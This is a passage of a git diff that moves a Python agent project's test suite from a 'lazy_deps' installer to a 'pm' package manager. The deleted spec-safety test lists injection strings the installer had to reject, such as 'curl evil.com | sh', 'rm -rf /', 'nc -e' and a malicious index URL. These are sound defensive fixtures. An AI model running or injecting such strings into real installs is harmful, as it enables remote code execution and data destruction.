LAZY_DEPS - ['tool.trace_upload'] exact-pins it. Because active_features() activates - a feature from mere package presence, the `hermes update` lazy-refresh - pass re-asserts the LAZY_DEPS pin on every install where hub is present. - If that pin drifts from the lock's resolved version, every update churns - the shared package — and a pin below transformers' floor (>=1.5.0) - force-downgrades it and breaks the Hindsight local daemon on startup. - """ - from tools.lazy_deps import LAZY_DEPS - - lazy_pin = _exact_pins(LAZY_DEPS["tool.trace_upload"]).get("huggingface-hub") - assert lazy_pin, "tool.trace_upload must exact-pin huggingface-hub" - - locked = _uv_lock_version("huggingface-hub") - assert lazy_pin == locked, ( - "LAZY_DEPS['tool.trace_upload'] pins huggingface-hub==" - f"{lazy_pin} but uv.lock resolves {locked}. These must move in " - "lockstep (bump the pin AND run `uv lock --upgrade-package " - "huggingface-hub`), or `hermes update` will churn/downgrade the " - "shared package and break Hindsight local embeddings (#60783)." - ) - - -def test_huggingface_hub_lazy_pin_inside_transformers_window(): - """The hub pin must stay in transformers' accepted range (#60783). - - transformers (pulled by sentence-transformers for Hindsight - local/local_embedded embeddings) requires huggingface-hub>=1.5.0,<2. - An exact pin outside that window makes the lazy-refresh downgrade the - shared package below what the embedding stack imports, and the - Hindsight daemon fails on startup. Contract, not a snapshot: any - future exact pin is fine as long as it stays inside the window. - """ - from packaging.specifiers import SpecifierSet - from packaging.version import Version - - from tools.lazy_deps import LAZY_DEPS - - pin = _exact_pins(LAZY_DEPS["tool.trace_upload"]).get("huggingface-hub") - assert pin, "tool.trace_upload must exact-pin huggingface-hub" - transformers_window = SpecifierSet(">=1.5.0,<2") - assert Version(pin) in transformers_window, ( - f"huggingface-hub=={pin} falls outside transformers' accepted " - "range (>=1.5.0,<2). The lazy refresh would downgrade the shared " - "package and break Hindsight local embeddings (#60783)." - ) diff --git a/tests/test_termux_all_extra_compat.py b/tests/test_termux_all_extra_compat.py deleted file mode 100644 index 0a1ee11aae..0000000000 --- a/tests/test_termux_all_extra_compat.py +++ /dev/null @@ -1,23 +0,0 @@ -"""Regression coverage for the Termux broad install profile.""" - -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -PYPROJECT = REPO_ROOT / "pyproject.toml" -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - -def test_pyproject_defines_termux_all_without_known_blockers() -> None: - text = PYPROJECT.read_text() - assert "termux-all = [" in text - assert '"hermes-agent[termux]"' in text - assert '"hermes-agent[matrix]"' not in text.split("termux-all = [", 1)[1].split("]", 1)[0] - assert '"hermes-agent[voice]"' not in text.split("termux-all = [", 1)[1].split("]", 1)[0] - - -def test_install_script_prefers_termux_all_then_fallbacks() -> None: - text = INSTALL_SH.read_text() - assert "pip install -e '.[termux-all]' -c constraints-termux.txt" in text - assert "Termux broad profile (.[termux-all]) failed, trying baseline Termux profile..." in text - assert "Termux baseline profile (.[termux]) failed, trying base install..." in text diff --git a/tests/test_windows_subprocess_no_window_flags.py b/tests/test_windows_subprocess_no_window_flags.py index cc12745284..fb90ab6825 100644 --- a/tests/test_windows_subprocess_no_window_flags.py +++ b/tests/test_windows_subprocess_no_window_flags.py @@ -338,7 +338,7 @@ def test_lsp_client_spawn_hides_console_window(monkeypatch): # # Windowless processes (pythonw gateway + kanban workers) flashed consoles # from three more spawn families: tools/env_probe._run's interpreter/pip -# probes, tools/lazy_deps' uv→pip→ensurepip install ladder, and CPython +# probes and CPython # 3.11/3.12's platform.win32_ver() which shells out `cmd /c ver` with # shell=True and no CREATE_NO_WINDOW. All are hide-only (creationflags); # win32_ver is neutralized by stubbing platform._syscmd_ver so the @@ -371,38 +371,6 @@ def test_env_probe_run_hides_console_window(monkeypatch): assert kwargs["stdin"] == subprocess.DEVNULL -def test_lazy_deps_uv_install_hides_console_window(monkeypatch): - from tools import lazy_deps - - captured = [] - - def fake_run(cmd, **kwargs): - captured.append((cmd, kwargs)) - return _Completed(stdout="installed", returncode=0) - - monkeypatch.delenv(lazy_deps._LAZY_TARGET_ENV, raising=False) - monkeypatch.setattr(lazy_deps, "windows_hide_flags", lambda: _CREATE_NO_WINDOW) - monkeypatch.setattr(lazy_deps.subprocess, "run", fake_run) - monkeypatch.setattr(lazy_deps.shutil, "which", lambda name: "/usr/bin/uv" if name == "uv" else None) - - res = lazy_deps._venv_pip_install(("left-pad",)) - - assert res.success - spawns = _spawns(captured, "pip", "install", "left-pad") - assert len(spawns) == 1, captured - cmd, kwargs = spawns[0] - assert cmd[:3] == ["/usr/bin/uv", "pip", "install"] - assert kwargs["creationflags"] == _CREATE_NO_WINDOW - assert kwargs["stdin"] == subprocess.DEVNULL - - - - - - - - -@pytest.mark.windows_only def test_suppress_platform_ver_console_stubs_syscmd_ver(monkeypatch): """``_syscmd_ver`` is replaced by an in-process echo stub so win32_ver() takes its ValueError fallback instead of shelling out to `cmd /c ver`. diff --git a/tests/tools/test_a2a_reason_roundtrip.py b/tests/tools/test_a2a_reason_roundtrip.py index 0854153ed1..8cb49b26e6 100644 --- a/tests/tools/test_a2a_reason_roundtrip.py +++ b/tests/tools/test_a2a_reason_roundtrip.py @@ -12,6 +12,7 @@ from __future__ import annotations import json import subprocess import sys +from pathlib import Path import pytest @@ -58,8 +59,28 @@ def test_write_reply_classifies_when_reason_omitted(home): def _run_waiter(home, envelope): cmd = bot_relay.waiter_command(home, envelope) + # Resolve a launchable bash (PATH may resolve the MSIX payload copy, + # which WinError-5s outside its package context) and pass a complete + # child env — same pattern as tests/pm/test_activate_scripts.py. + import os + import shutil + + bash = shutil.which("bash") or "bash" + if sys.platform == "win32" and "windowsapps" in str(bash).lower(): + pf = os.environ.get("ProgramFiles", r"C:\Program Files") + for rel in (("Git", "bin", "bash.exe"), ("Git", "usr", "bin", "bash.exe")): + cand = Path(pf).joinpath(*rel) if isinstance(pf, str) else Path(pf, *rel) + if cand.exists(): + bash = str(cand) + break + env = os.environ.copy() + if sys.platform == "win32": + env.setdefault("SystemRoot", r"C:\Windows") + env.setdefault("ComSpec", r"C:\Windows\system32\cmd.exe") + env.setdefault("PATHEXT", ".COM;.EXE;.BAT;.CMD") return subprocess.run( - ["bash", "-c", cmd], capture_output=True, text=True, timeout=30 + [bash, "-c", cmd], + capture_output=True, text=True, timeout=30, env=env, ) diff --git a/tests/tools/test_approval_timeout_overflow.py b/tests/tools/test_approval_timeout_overflow.py index 18d7105880..537cb97347 100644 --- a/tests/tools/test_approval_timeout_overflow.py +++ b/tests/tools/test_approval_timeout_overflow.py @@ -77,7 +77,11 @@ class TestApprovalTimeoutOverflowClamp: monkeypatch.setattr(builtins, "__import__", _blocked) with _with_configured_timeout(10**18): value = _get_approval_timeout() - assert value == 365 * 24 * 3600 + # Fail-closed contract: a FINITE cap below every platform's wait- + # primitive limit (not a specific literal — see agent/deadline.py + # for the platform-aware primary bound; the fallback stays below + # the narrowest one, the Windows DWORD-ms cap). + assert 0 < value < 0xFFFFFFFF / 1000.0 # Still platform-safe for the crashing primitive. lock = threading.Lock() assert lock.acquire(timeout=value) @@ -111,7 +115,11 @@ class TestApprovalTimeoutOverflowClamp: with _with_configured_timeout(10**18): ceiling = human_wait_ceiling() - assert ceiling == float(int(MAX_SAFE_TIMEOUT_S)) + HUMAN_WAIT_MARGIN_S + # The ceiling inherits the platform-safe clamp: never above + # MAX_SAFE_TIMEOUT_S (the margin fits inside the cap when the + # config is oversized) and always usable by the wait primitives. + assert ceiling <= MAX_SAFE_TIMEOUT_S + assert ceiling >= MAX_SAFE_TIMEOUT_S - HUMAN_WAIT_MARGIN_S lock = threading.Lock() assert lock.acquire(timeout=ceiling) lock.release() diff --git a/tests/tools/test_browser_chromium_autoinstall.py b/tests/tools/test_browser_chromium_autoinstall.py index 0c60f6ecd0..a0be06a2e6 100644 --- a/tests/tools/test_browser_chromium_autoinstall.py +++ b/tests/tools/test_browser_chromium_autoinstall.py @@ -4,6 +4,9 @@ from types import SimpleNamespace import pytest +import importlib + +pm_ensure = importlib.import_module("pm.ensure") import tools.browser_tool as bt @@ -25,7 +28,7 @@ def _no_subprocess(monkeypatch): class TestGating: def test_disabled_lazy_installs_skips(self, monkeypatch): monkeypatch.setattr(bt, "_running_in_docker", lambda: False) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: False) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: False) calls = _no_subprocess(monkeypatch) assert bt._maybe_autoinstall_chromium() is False assert calls == [] @@ -40,7 +43,7 @@ class TestGating: class TestInstall: def test_success_installs_binary_only_and_rechecks(self, monkeypatch): monkeypatch.setattr(bt, "_running_in_docker", lambda: False) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: True) monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/x/agent-browser") monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) monkeypatch.setattr(bt, "_chromium_installed", lambda: True) @@ -59,7 +62,7 @@ class TestInstall: def test_npx_form_is_binary_only(self, monkeypatch): monkeypatch.setattr(bt, "_running_in_docker", lambda: False) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: True) monkeypatch.setattr(bt, "_find_agent_browser", lambda: "npx agent-browser") monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) monkeypatch.setattr(bt, "_chromium_installed", lambda: True) @@ -80,7 +83,7 @@ class TestInstall: def test_nonzero_exit_returns_false(self, monkeypatch): monkeypatch.setattr(bt, "_running_in_docker", lambda: False) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: True) monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/x/agent-browser") monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) monkeypatch.setattr( @@ -93,7 +96,7 @@ class TestInstall: class TestOneShot: def test_second_call_does_not_reinstall(self, monkeypatch): monkeypatch.setattr(bt, "_running_in_docker", lambda: False) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: True) monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/x/agent-browser") monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) monkeypatch.setattr(bt, "_chromium_installed", lambda: True) diff --git a/tests/tools/test_browser_chromium_check.py b/tests/tools/test_browser_chromium_check.py index 1aad65e775..11941890dd 100644 --- a/tests/tools/test_browser_chromium_check.py +++ b/tests/tools/test_browser_chromium_check.py @@ -35,7 +35,10 @@ class TestChromiumSearchRoots: class TestChromiumInstalled: - def test_true_when_plain_chromium_on_path(self, monkeypatch): + def test_system_chromium_on_path_alone_is_not_enough(self, monkeypatch): + """Pinned-store-only (gap plan D3): a system Chromium in PATH does + NOT satisfy the check — only AGENT_BROWSER_EXECUTABLE_PATH or the + pinned browser store do.""" monkeypatch.delenv("AGENT_BROWSER_EXECUTABLE_PATH", raising=False) monkeypatch.setattr( bt.shutil, @@ -43,6 +46,13 @@ class TestChromiumInstalled: lambda name, path=None: "/usr/bin/chromium" if name == "chromium" else None, ) + assert bt._chromium_installed() is False + + + def test_true_when_agent_browser_executable_path_set(self, monkeypatch, tmp_path): + exe = tmp_path / ("chrome.exe" if os.name == "nt" else "chrome") + exe.write_bytes(b"") + monkeypatch.setenv("AGENT_BROWSER_EXECUTABLE_PATH", str(exe)) assert bt._chromium_installed() is True diff --git a/tests/tools/test_browser_use_cli.py b/tests/tools/test_browser_use_cli.py index 497619b2ba..28c39dc8e9 100644 --- a/tests/tools/test_browser_use_cli.py +++ b/tests/tools/test_browser_use_cli.py @@ -244,11 +244,25 @@ class TestFindCli: assert bu_cli._find_cli_unpatched() == ["/usr/local/bin/browser-use"] def test_falls_back_to_uvx(self, monkeypatch): + """The zero-install fallback resolves pm's PINNED uvx — never a + bare PATH probe (pm names the binary; a PATH uvx is an unknown + version).""" + monkeypatch.setattr(bu_cli, "_pinned_uvx", lambda: "/store/uvx") + monkeypatch.setattr( + bu_cli.shutil, "which", + lambda name, path=None: None, + ) + assert bu_cli._find_cli_unpatched() == ["/store/uvx", "browser-use"] + + def test_bare_path_uvx_not_consulted(self, monkeypatch): + """Kill the PATH probe: a uvx reachable only via bare PATH is not + used — without the pinned pm uvx there is no zero-install rung.""" + monkeypatch.setattr(bu_cli, "_pinned_uvx", lambda: None) monkeypatch.setattr( bu_cli.shutil, "which", lambda name, path=None: "/usr/local/bin/uvx" if name == "uvx" and path is None else None, ) - assert bu_cli._find_cli_unpatched() == ["/usr/local/bin/uvx", "browser-use"] + assert bu_cli._find_cli_unpatched() is None def test_none_when_neither_available(self, monkeypatch): monkeypatch.setattr(bu_cli.shutil, "which", lambda name, path=None: None) @@ -983,9 +997,8 @@ class TestInstallCli: monkeypatch.setattr(bu_cli.shutil, "which", lambda name, path=None: cli if name == "browser-use" and path is None else None) import sys as _sys import types as _types - fake = _types.ModuleType("hermes_cli.managed_uv") - fake.ensure_uv = lambda **kw: None - monkeypatch.setitem(_sys.modules, "hermes_cli.managed_uv", fake) + import pm + monkeypatch.setattr(pm, "uv", lambda **kw: (None, {})) ok, msg = bu_cli.install_cli() # No uv available in this fixture, so the attempted managed install # fails — the point is that the PATH copy did not short-circuit. @@ -1009,9 +1022,8 @@ class TestInstallCli: monkeypatch.setenv("PATH", str(tmp_path / "empty")) import sys as _sys import types as _types - fake = _types.ModuleType("hermes_cli.managed_uv") - fake.ensure_uv = lambda **kw: None - monkeypatch.setitem(_sys.modules, "hermes_cli.managed_uv", fake) + import pm + monkeypatch.setattr(pm, "uv", lambda **kw: (None, {})) ok, msg = bu_cli.install_cli() assert ok is False assert "uv" in msg @@ -1037,9 +1049,8 @@ class TestInstallCli: uv.chmod(uv.stat().st_mode | stat.S_IXUSR) import sys as _sys import types as _types - fake = _types.ModuleType("hermes_cli.managed_uv") - fake.ensure_uv = lambda **kw: str(uv) - monkeypatch.setitem(_sys.modules, "hermes_cli.managed_uv", fake) + import pm + monkeypatch.setattr(pm, "uv", lambda **kw: (str(uv), dict(os.environ))) ok, msg = bu_cli.install_cli() assert ok is True, msg assert (bin_dir / "browser-use").exists() @@ -1053,9 +1064,8 @@ class TestInstallCli: uv.chmod(uv.stat().st_mode | stat.S_IXUSR) import sys as _sys import types as _types - fake = _types.ModuleType("hermes_cli.managed_uv") - fake.ensure_uv = lambda **kw: str(uv) - monkeypatch.setitem(_sys.modules, "hermes_cli.managed_uv", fake) + import pm + monkeypatch.setattr(pm, "uv", lambda **kw: (str(uv), dict(os.environ))) ok, msg = bu_cli.install_cli() assert ok is False assert "no network" in msg diff --git a/tests/tools/test_computer_use.py b/tests/tools/test_computer_use.py index 0ac3fed17e..baceb62b3d 100644 --- a/tests/tools/test_computer_use.py +++ b/tests/tools/test_computer_use.py @@ -772,10 +772,10 @@ class TestLazyMcpInstall: return_value={"ready": True}, ), \ patch.object(cua_backend, "_maybe_nudge_update"), \ - patch("tools.lazy_deps.ensure") as mock_ensure, \ + patch("pm.ensure_import") as mock_ensure, \ patch.object(cua_backend._CuaDriverSession, "start") as mock_sess_start: cua_backend.CuaDriverBackend().start() - mock_ensure.assert_called_once_with("tool.computer_use", prompt=False) + mock_ensure.assert_called_once_with("computer-use") mock_sess_start.assert_called_once() def test_start_reports_incompatible_existing_driver_before_mcp_setup(self): @@ -789,7 +789,7 @@ class TestLazyMcpInstall: cua_backend, "cua_driver_runtime_contract_status", return_value=state, - ), patch("tools.lazy_deps.ensure") as mock_ensure: + ), patch("pm.ensure_import") as mock_ensure: with pytest.raises(RuntimeError, match="hermes computer-use install"): cua_backend.CuaDriverBackend().start() @@ -800,9 +800,9 @@ class TestLazyMcpInstall: surfaces the actionable FeatureUnavailable rather than a session that crashes later on a bare import.""" from tools.computer_use import cua_backend - from tools.lazy_deps import FeatureUnavailable + from pm import InstallError as FeatureUnavailable unavailable = FeatureUnavailable( - "tool.computer_use", ("mcp==1.28.1",), "lazy installs disabled" + "computer-use", "lazy installs disabled" ) with patch.object( cua_backend, @@ -810,7 +810,7 @@ class TestLazyMcpInstall: return_value={"ready": True}, ), \ patch.object(cua_backend, "_maybe_nudge_update"), \ - patch("tools.lazy_deps.ensure", side_effect=unavailable), \ + patch("pm.ensure_import", side_effect=unavailable), \ patch.object(cua_backend._CuaDriverSession, "start") as mock_sess_start: with pytest.raises(FeatureUnavailable): cua_backend.CuaDriverBackend().start() @@ -850,7 +850,7 @@ class TestContractAutoRepair: patch("hermes_cli.tools_config.install_cua_driver", return_value=True) as installer, \ patch.object(cua_backend, "_maybe_nudge_update"), \ - patch("tools.lazy_deps.ensure"): + patch("pm.ensure_import"): backend.start() installer.assert_called_once_with( @@ -870,7 +870,7 @@ class TestContractAutoRepair: ), \ patch("hermes_cli.tools_config.install_cua_driver", return_value=False), \ - patch("tools.lazy_deps.ensure") as mock_ensure: + patch("pm.ensure_import") as mock_ensure: with pytest.raises(RuntimeError, match="0.20.0 or newer"): cua_backend.CuaDriverBackend().start() mock_ensure.assert_not_called() @@ -887,7 +887,7 @@ class TestContractAutoRepair: ), \ patch("hermes_cli.tools_config.install_cua_driver", return_value=False) as installer, \ - patch("tools.lazy_deps.ensure"): + patch("pm.ensure_import"): for _ in range(2): with pytest.raises(RuntimeError): cua_backend.CuaDriverBackend().start() @@ -905,7 +905,7 @@ class TestContractAutoRepair: return_value=self._incompatible(), ), \ patch("hermes_cli.tools_config.install_cua_driver") as installer, \ - patch("tools.lazy_deps.ensure"): + patch("pm.ensure_import"): with pytest.raises(RuntimeError, match="HERMES_CUA_DRIVER_CMD"): cua_backend.CuaDriverBackend().start() installer.assert_not_called() @@ -927,7 +927,7 @@ class TestContractAutoRepair: return_value=state, ), \ patch("hermes_cli.tools_config.install_cua_driver") as installer, \ - patch("tools.lazy_deps.ensure"): + patch("pm.ensure_import"): with pytest.raises(RuntimeError, match="not installed"): cua_backend.CuaDriverBackend().start() installer.assert_not_called() @@ -2299,7 +2299,7 @@ class TestSessionLifecycle: with patch( "tools.computer_use.cua_backend.cua_driver_runtime_contract_status", return_value={"ready": True}, - ), patch("tools.lazy_deps.ensure"): + ), patch("pm.ensure_import"): backend.start() # First call_tool after _session.start() must be start_session @@ -2326,7 +2326,7 @@ class TestSessionLifecycle: with patch( "tools.computer_use.cua_backend.cua_driver_runtime_contract_status", return_value={"ready": True}, - ), patch("tools.lazy_deps.ensure"): + ), patch("pm.ensure_import"): backend.start() # must not raise diff --git a/tests/tools/test_dockerfile_immutable_install.py b/tests/tools/test_dockerfile_immutable_install.py index e0914ef5a3..21a5c938c3 100644 --- a/tests/tools/test_dockerfile_immutable_install.py +++ b/tests/tools/test_dockerfile_immutable_install.py @@ -62,37 +62,13 @@ def test_dockerfile_bakes_code_scoped_install_method_stamp() -> None: assert shim_block, "install-method stamp must be in the shim-wiring RUN block" -def test_dockerfile_redirects_lazy_installs_to_durable_target() -> None: - """Immutable image seals the venv but redirects lazy installs to the - writable data volume, so opt-in backends still install at first use - without being able to break the sealed core. - - Guards the contract between the Dockerfile env var, the stage2-hook - seeding, and tools/lazy_deps.py — these three must agree on the path. +def test_dockerfile_disables_lazy_installs() -> None: + """The published image fully disables runtime lazy installs so nothing + can mutate the sealed venv (the old durable-target redirect machinery is + gone — no code reads HERMES_LAZY_INSTALL_TARGET anymore). """ - text = _dockerfile_text() - target = "/opt/data/lazy-packages" - - # The redirect target must be set AND must live under the data volume, - # never under the immutable /opt/hermes tree. - assert f"ENV HERMES_LAZY_INSTALL_TARGET={target}" in text - assert target.startswith("/opt/data/"), "target must be on the durable volume" - assert "ENV HERMES_LAZY_INSTALL_TARGET=/opt/hermes" not in text - - # The seal flag must still be present — the redirect rides on top of it, - # it does not replace it. - assert "ENV HERMES_DISABLE_LAZY_INSTALLS=1" in text - - # stage2-hook must seed + chown the target dir so first-use installs - # succeed as the unprivileged hermes runtime user. - stage2 = (REPO_ROOT / "docker" / "stage2-hook.sh").read_text() - assert '"$HERMES_HOME/lazy-packages"' in stage2, ( - "stage2-hook.sh must create the lazy-packages dir on the data volume" - ) - assert "lazy-packages" in stage2.split("for sub in", 1)[1].split(";", 1)[0], ( - "lazy-packages must be in the per-boot chown subdir list so it stays " - "hermes-owned" - ) + assert "ENV HERMES_DISABLE_LAZY_INSTALLS=1" in _dockerfile_text() + assert "HERMES_LAZY_INSTALL_TARGET" not in _dockerfile_text() def test_dockerfile_bakes_photon_sidecar_deps() -> None: diff --git a/tests/tools/test_fal_common.py b/tests/tools/test_fal_common.py index 5884982cf7..cfdcc141da 100644 --- a/tests/tools/test_fal_common.py +++ b/tests/tools/test_fal_common.py @@ -34,35 +34,35 @@ class TestImportFalClient: def test_returns_fal_client_module(self, monkeypatch, fake_fal_client): """import_fal_client returns the fal_client module reference.""" ensure = MagicMock() - monkeypatch.setattr("tools.lazy_deps.ensure", ensure) + monkeypatch.setattr("pm.ensure_import", ensure) result = import_fal_client() assert result is fake_fal_client - ensure.assert_called_once_with("image.fal", prompt=False) + ensure.assert_called_once_with("fal") def test_lazy_ensure_import_error_is_swallowed(self, monkeypatch, fake_fal_client): - """If lazy_deps.ensure raises ImportError, it's swallowed (fal_client still imported).""" + """If pm.ensure_import raises ImportError, it's swallowed (fal_client still imported).""" monkeypatch.setattr( - "tools.lazy_deps.ensure", - MagicMock(side_effect=ImportError("no lazy_deps")), + "pm.ensure_import", + MagicMock(side_effect=ImportError("no pm")), ) assert import_fal_client() is fake_fal_client def test_lazy_ensure_other_exception_raises_import_error(self): - """If lazy_deps.ensure raises a non-ImportError, it's re-raised as ImportError.""" - with patch("tools.lazy_deps.ensure", side_effect=RuntimeError("install hint")): + """If pm.ensure_import raises a non-ImportError, it's re-raised as ImportError.""" + with patch("pm.ensure_import", side_effect=RuntimeError("install hint")): with pytest.raises(ImportError, match="install hint"): import_fal_client() def test_lazy_ensure_module_missing_is_swallowed(self, fake_fal_client): - """If tools.lazy_deps itself can't be imported, ImportError is swallowed.""" + """If pm itself can't be imported, ImportError is swallowed.""" import builtins original_import = builtins.__import__ def failing_import(name, *args, **kwargs): - if name == "tools.lazy_deps": + if name == "pm": raise ImportError("no module") return original_import(name, *args, **kwargs) diff --git a/tests/tools/test_find_shell.py b/tests/tools/test_find_shell.py index e84fdef0ce..8184ae103c 100644 --- a/tests/tools/test_find_shell.py +++ b/tests/tools/test_find_shell.py @@ -102,95 +102,34 @@ class TestFindBashUnchanged: assert len(result) > 0 -class TestFindBashSkipsBrokenCustomPath: - """Stale HERMES_GIT_BASH_PATH must not brick Windows terminal startup.""" +class TestFindBashCollapsedToPmShell: + """_find_bash is now a thin wrapper over pm.shell(); the Windows + candidate ladder (HERMES_GIT_BASH_PATH → %LOCALAPPDATA%\\hermes\\git → + Program Files) and the ASLR diagnostic were deleted — the store is the + authority on bundled bash.""" @pytest.mark.windows_only - def test_falls_through_to_portable_when_custom_fails_probe(self, tmp_path, monkeypatch): - """Windows-only: the candidate ladder (HERMES_GIT_BASH_PATH → - %LOCALAPPDATA%\\hermes\\git → Program Files) only exists in - ``_find_bash``'s Windows branch.""" + def test_delegates_to_pm_shell(self, monkeypatch): + """_find_bash returns whatever pm.shell() resolves (store bash or + provisioned PATH).""" import tools.environments.local as local_mod - local_mod._bash_starts_cache.clear() + monkeypatch.setattr( + "pm.shell.bash", lambda: r"C:\store\tools\git-x\usr\bin\bash.exe" + ) + assert _find_bash() == r"C:\store\tools\git-x\usr\bin\bash.exe" - broken = tmp_path / "broken" / "bash.exe" - broken.parent.mkdir() - broken.write_text("", encoding="utf-8") - portable = tmp_path / "hermes" / "git" / "bin" / "bash.exe" - portable.parent.mkdir(parents=True) - portable.write_text("", encoding="utf-8") - - monkeypatch.setenv("HERMES_GIT_BASH_PATH", str(broken)) - monkeypatch.setenv("LOCALAPPDATA", str(tmp_path)) - - def fake_starts(path: str) -> bool: - return path == str(portable) - - monkeypatch.setattr(local_mod, "_bash_starts", fake_starts) - - assert _find_bash() == str(portable) - - -class TestGitBashExternalProgramProbe: - """The Windows health check must exercise MSYS child-process creation.""" - - def test_probe_runs_external_msys_programs(self, monkeypatch): - """``_bash_starts`` builds the same external-program probe argv on - every host, so this stays on the Linux runner with ``subprocess.run`` - mocked — no platform faking needed.""" + def test_raises_when_pm_shell_finds_nothing(self, monkeypatch): + """A store with no bash (and no PATH bash) surfaces a clear error + pointing at `hermes pm install` instead of hunting locations.""" import tools.environments.local as local_mod - local_mod._bash_starts_cache.clear() - local_mod._bash_probe_details_cache.clear() - calls = [] - - def fake_run(argv, **kwargs): - calls.append((argv, kwargs)) - return subprocess.CompletedProcess(argv, 0, stdout="", stderr="") - - monkeypatch.setattr(local_mod.subprocess, "run", fake_run) - - assert local_mod._bash_starts(r"C:\Git\bin\bash.exe") is True - assert calls[0][0][-1] == "/usr/bin/true; /usr/bin/cat --version >/dev/null" - - @pytest.mark.windows_only - def test_aslr_failure_surfaces_targeted_windows_command( - self, tmp_path, monkeypatch - ): - """Windows-only: the Mandatory-ASLR diagnostic is raised from - ``_find_bash``'s Windows candidate ladder and names PowerShell's - ``Set-ProcessMitigation`` — unreachable off Windows.""" - import tools.environments.local as local_mod - - local_mod._bash_starts_cache.clear() - local_mod._bash_probe_details_cache.clear() - portable = tmp_path / "hermes" / "git" / "bin" / "bash.exe" - portable.parent.mkdir(parents=True) - portable.write_text("", encoding="utf-8") - - monkeypatch.setenv("HERMES_GIT_BASH_PATH", "") - monkeypatch.setenv("LOCALAPPDATA", str(tmp_path)) - monkeypatch.setenv("ProgramFiles", str(tmp_path / "empty-program-files")) - monkeypatch.delenv("ProgramFiles(x86)", raising=False) - monkeypatch.setattr(local_mod.shutil, "which", lambda _name: None) - monkeypatch.setattr(local_mod, "_mandatory_aslr_enabled", lambda: True) - - def failed_probe(path: str) -> bool: - local_mod._bash_probe_details_cache[path] = ( - "dofork: child -1 - forked process died unexpectedly" - ) - return False - - monkeypatch.setattr(local_mod, "_bash_starts", failed_probe) - + monkeypatch.setattr("pm.shell.bash", lambda: None) with pytest.raises(RuntimeError) as exc_info: local_mod._find_bash() - message = str(exc_info.value) - assert "Mandatory ASLR" in message - assert "Reinstalling Git will not change" in message - assert "Set-ProcessMitigation" in message - assert str(tmp_path / "hermes" / "git") in message + assert "No shell found" in str(exc_info.value) + assert "hermes pm install" in str(exc_info.value) + @pytest.mark.macos_only diff --git a/tests/tools/test_lazy_deps.py b/tests/tools/test_lazy_deps.py deleted file mode 100644 index 74838a69a3..0000000000 --- a/tests/tools/test_lazy_deps.py +++ /dev/null @@ -1,485 +0,0 @@ -"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer. - -The lazy_deps module is the architectural fix for the "one quarantined -package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)`` -which only installs from a strict allowlist, refuses anything that looks -like a URL / file path, runs venv-scoped, and respects the -``security.allow_lazy_installs`` config flag. - -These tests cover the security boundary and the public API. The real pip -call is mocked — we never actually shell out during unit tests. -""" - -from __future__ import annotations - - -import pytest - -import tools.lazy_deps as ld - - -# --------------------------------------------------------------------------- -# Spec safety -# --------------------------------------------------------------------------- - - -class TestSpecSafety: - @pytest.mark.parametrize("spec", [ - "mistralai>=2.3.0,<3", - "elevenlabs>=1.0,<2", - "honcho-ai>=2.2.0,<3", - "boto3>=1.35.0,<2", - "mautrix[encryption]>=0.20,<1", - "google-api-python-client>=2.100,<3", - "youtube-transcript-api>=1.2.0", - "qrcode>=7.0,<8", - "package", # bare name, no version - "package==1.0.0", - "package~=1.0", - ]) - def test_safe_specs_pass(self, spec): - assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe" - - @pytest.mark.parametrize("spec", [ - # URL-shaped → rejected (no remote origin override allowed) - "git+https://github.com/foo/bar.git", - "https://example.com/foo.tar.gz", - # File path → rejected - "/etc/passwd", - "./local-malware", - "../escape", - # Shell metacharacters → rejected - "package; rm -rf /", - "package && curl evil.com | sh", - "package`whoami`", - "package$(whoami)", - "package|nc -e", - # Pip flag injection → rejected - "--index-url=http://evil/", - "-r requirements.txt", - # Whitespace control chars → rejected - "package\nshell-injection", - "package\rmore", - # Empty / overly long → rejected - "", - "x" * 500, - ]) - def test_unsafe_specs_rejected(self, spec): - assert not ld._spec_is_safe(spec), \ - f"expected {spec!r} to be rejected" - - -# --------------------------------------------------------------------------- -# Allowlist enforcement -# --------------------------------------------------------------------------- - - -class TestAllowlist: - def test_unknown_feature_raises(self, monkeypatch): - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"): - ld.ensure("not.a.real.feature") - - - def test_feature_install_command_unknown(self): - assert ld.feature_install_command("not.real") is None - assert ld.feature_install_command("not.real", venv_pip=True) is None - - def test_feature_install_command_venv_pip_targets_interpreter(self): - # venv_pip=True must target the running interpreter's pip (correct in - # every install layout, immune to PEP 668) and carry the same specs - # as the default uv form. - import sys as _sys - default = ld.feature_install_command("platform.teams") - venv = ld.feature_install_command("platform.teams", venv_pip=True) - assert default is not None and venv is not None - assert venv.startswith(f"{_sys.executable} -m pip install ") - assert default.startswith("uv pip install ") - # Same spec tail on both forms. - assert venv.split(" -m pip install ", 1)[1] == default.split("uv pip install ", 1)[1] - - -# --------------------------------------------------------------------------- -# allow_lazy_installs gating -# --------------------------------------------------------------------------- - - -class TestSecurityGating: - def test_disabled_via_config_raises(self, monkeypatch): - # Pretend honcho is missing AND lazy installs are disabled. - monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False) - with 